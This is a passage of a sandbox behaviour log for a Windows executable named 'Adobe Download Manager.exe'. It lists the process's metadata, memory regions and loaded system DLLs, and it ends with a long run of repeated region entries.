# Flog Txt Version 1 # Analyzer Version: 2024.1.0 # Analyzer Build Date: Jan 4 2024 18:31:15 # Log Creation Date: 07.02.2024 22:08:49.402 Process: id = "1" image_name = "adobe download manager.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe" page_root = "0x54536000" os_pid = "0x1184" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x678" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 119 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 120 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 121 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 122 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 123 start_va = 0xa0000 end_va = 0xa1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 124 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 125 start_va = 0x2b0000 end_va = 0x4b9fff monitored = 1 entry_point = 0x2d7dcd region_type = mapped_file name = "adobe download manager.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe") Region: id = 126 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 127 start_va = 0x800000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 128 start_va = 0xcd0000 end_va = 0xcd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 129 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 130 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 131 start_va = 0xff430000 end_va = 0xff452fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000ff430000" filename = "" Region: id = 132 start_va = 0xfffe0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 133 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 134 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 273 start_va = 0xc0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 274 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 275 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 276 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 277 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 278 start_va = 0xce0000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 279 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 280 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 281 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 282 start_va = 0xff330000 end_va = 0xff42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000ff330000" filename = "" Region: id = 283 start_va = 0x160000 end_va = 0x21dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 284 start_va = 0xc0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 285 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 286 start_va = 0x1280000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 287 start_va = 0x75a40000 end_va = 0x75a45fff monitored = 0 entry_point = 0x75a41460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 288 start_va = 0xcd0000 end_va = 0xcd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 289 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 290 start_va = 0x704f0000 end_va = 0x704f7fff monitored = 0 entry_point = 0x704f1740 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 291 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 292 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 293 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 294 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 295 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 296 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 297 start_va = 0x100000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 298 start_va = 0x1680000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 299 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 300 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 301 start_va = 0x704e0000 end_va = 0x704e7fff monitored = 0 entry_point = 0x704e17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 302 start_va = 0x73fd0000 end_va = 0x740c1fff monitored = 0 entry_point = 0x74008070 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 303 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 304 start_va = 0x704b0000 end_va = 0x704d3fff monitored = 0 entry_point = 0x704b4820 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 305 start_va = 0x72d80000 end_va = 0x72f8efff monitored = 0 entry_point = 0x72e2b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 306 start_va = 0x70490000 end_va = 0x704a5fff monitored = 0 entry_point = 0x704921d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 307 start_va = 0x715c0000 end_va = 0x717ccfff monitored = 0 entry_point = 0x716aacb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 308 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 309 start_va = 0x70470000 end_va = 0x70488fff monitored = 0 entry_point = 0x704747e0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 310 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 311 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 312 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 313 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 314 start_va = 0x6f840000 end_va = 0x6f862fff monitored = 0 entry_point = 0x6f848940 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 315 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 316 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 319 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 320 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 321 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 322 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 323 start_va = 0x748c0000 end_va = 0x7491dfff monitored = 0 entry_point = 0x748d7470 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 324 start_va = 0x74e10000 end_va = 0x74e22fff monitored = 0 entry_point = 0x74e11d20 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 325 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 326 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 327 start_va = 0x72d10000 end_va = 0x72d1afff monitored = 0 entry_point = 0x72d11d20 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 328 start_va = 0xce0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 329 start_va = 0xe80000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 330 start_va = 0xce0000 end_va = 0xd09fff monitored = 0 entry_point = 0xce5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 331 start_va = 0xda0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 332 start_va = 0x1a80000 end_va = 0x1c07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001a80000" filename = "" Region: id = 333 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 334 start_va = 0x1c10000 end_va = 0x1d90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c10000" filename = "" Region: id = 335 start_va = 0x1da0000 end_va = 0x319ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001da0000" filename = "" Region: id = 336 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 337 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 338 start_va = 0xce0000 end_va = 0xce0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 339 start_va = 0x220000 end_va = 0x221fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 340 start_va = 0xce0000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 341 start_va = 0x72ce0000 end_va = 0x72d0bfff monitored = 0 entry_point = 0x72cf5ee0 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\SysWOW64\\fwbase.dll" (normalized: "c:\\windows\\syswow64\\fwbase.dll") Region: id = 342 start_va = 0xce0000 end_va = 0xce3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 343 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 344 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 345 start_va = 0xdb0000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 346 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 347 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 348 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 349 start_va = 0x31a0000 end_va = 0x325bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000031a0000" filename = "" Region: id = 350 start_va = 0xcf0000 end_va = 0xcf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 351 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 352 start_va = 0x3260000 end_va = 0x3596fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 353 start_va = 0xd00000 end_va = 0xd03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 354 start_va = 0x71250000 end_va = 0x71262fff monitored = 0 entry_point = 0x71259950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 355 start_va = 0x70060000 end_va = 0x7008efff monitored = 0 entry_point = 0x700795e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 356 start_va = 0x71590000 end_va = 0x715aafff monitored = 0 entry_point = 0x71599050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 357 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 358 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 359 start_va = 0xd10000 end_va = 0xd2bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 360 start_va = 0xd30000 end_va = 0xd3dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 361 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 362 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 363 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 364 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 365 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 366 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 367 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 368 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 369 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 370 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 371 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 372 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 373 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 374 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 375 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 376 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 377 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 378 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 379 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 380 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 381 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 382 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 383 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 384 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 385 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 386 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 387 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 388 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 389 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 390 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 391 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 392 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 393 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 394 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 395 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 396 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 397 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 398 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 399 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 400 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 401 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 402 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 403 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 404 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 405 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = 